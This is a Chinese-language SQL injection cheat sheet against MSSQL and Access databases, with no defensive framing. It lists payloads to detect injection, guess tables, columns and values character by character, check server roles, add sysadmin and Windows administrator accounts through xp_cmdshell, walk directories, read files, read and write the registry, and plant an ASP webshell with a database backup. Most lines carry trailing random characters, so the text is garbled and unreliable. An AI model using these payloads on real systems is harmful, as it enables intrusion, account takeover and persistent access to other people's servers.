1.判断是否有注入;and 1=1 ;and 1=2 rHge~nY<
2.初步判断是否是mssql ;and user>0 AI vXb\wL
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3.注入参数是字符'and [查询条件] and ''=' 6DTTV66
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' d$ACDX2
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5.判断数据库系统 *.-.iY.a]
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;and (select count(*) from sysobjects)>0 mssql 1F'1>Bu~
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;and (select count(*) from msysobjects)>0 access b3-eR5U/
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 q#A (gyy
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8M*PML4r
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ^efb
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9.(1)猜字段的ascii值(access) _mvxsG
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 XKA&XpF
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(2)猜字段的ascii值(mssql) WL,&-*JAW
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >KLtY|o)
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10.测试权限结构(mssql) lE8&..~l$+
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- PP~rn fE
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9//+Bh
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- v0D q@Q1
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /iNa'W5\
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 9Etz:?)b
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- .roqEasu8
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;and 1=(select IS_MEMBER('db_owner'));-- p^nL&yIW,%
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11.添加mssql和系统的帐户 SVlua@]ChU
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;exec master.dbo.sp_addlogin username;-- Z@8vL
;exec master.dbo.sp_password null,username,password;-- o@]So(9f
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2$_9cF Wm
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;exec master.dbo.xp_cmdshell 'net user username password 6$a$K,dZ
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;4M><OS!
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- +uWDP.
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- v%k9M{
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12.(1)遍历目录 ""Zp:8o
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;create table dirs(paths varchar(100), id int) 50TA:7
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;insert dirs exec master.dbo.xp_dirtree 'c:\' {e|*01hE
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;and (select top 1 paths from dirs)>0 gj\)CBOv
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W"{v2x i
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(2)遍历目录 }>^Q'BW;65
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- R(P%Csbqh
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 -yGDh+-
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 {GvTfZfp
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 X1IeSMAe
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 +,o0-L1D
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13.mssql中的存储过程 ze_{=Cv&Y
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xp_regenumvalues 注册表根键, 子键 Ngr/QL]Q
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *Ype>x{
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xp_regread 根键,子键,键值名 DjU9
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 WwC 5!kZ
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xp_regwrite 根键,子键, 值名, 值类型, 值 &U+ _ -Ph
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ZcuA6#3B
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xp_regdeletevalue 根键,子键,值名 QKN<+,h!z>
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 =#mTfJ
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
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14.mssql的backup创建webshell :Rs^0F8)c
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create table cmd(str image); i"|$(2
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insert into cmd(str) values (''); X7,PEA
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backup database model to disk='c:\l.asp'; "x@='>:$
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15.mssql内置函数 BmHwu{n'
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;and (select @@version)>0 获得Windows的版本号 +(uYwdcN
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2F%W8Y3
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;and (select user_name())>0 爆当前系统的连接用户 &z"krM]G
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;and (select db_name())>0 得到当前连接的数据库 }F+zs*S
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16.简洁的webshell B?$ "\;&
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use model H
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create table cmd(str image); FWH}j0Gj|
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insert into cmd(str) values (''); mDh1>>K'~
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backup database model to disk='g:\wwwtest\l.asp';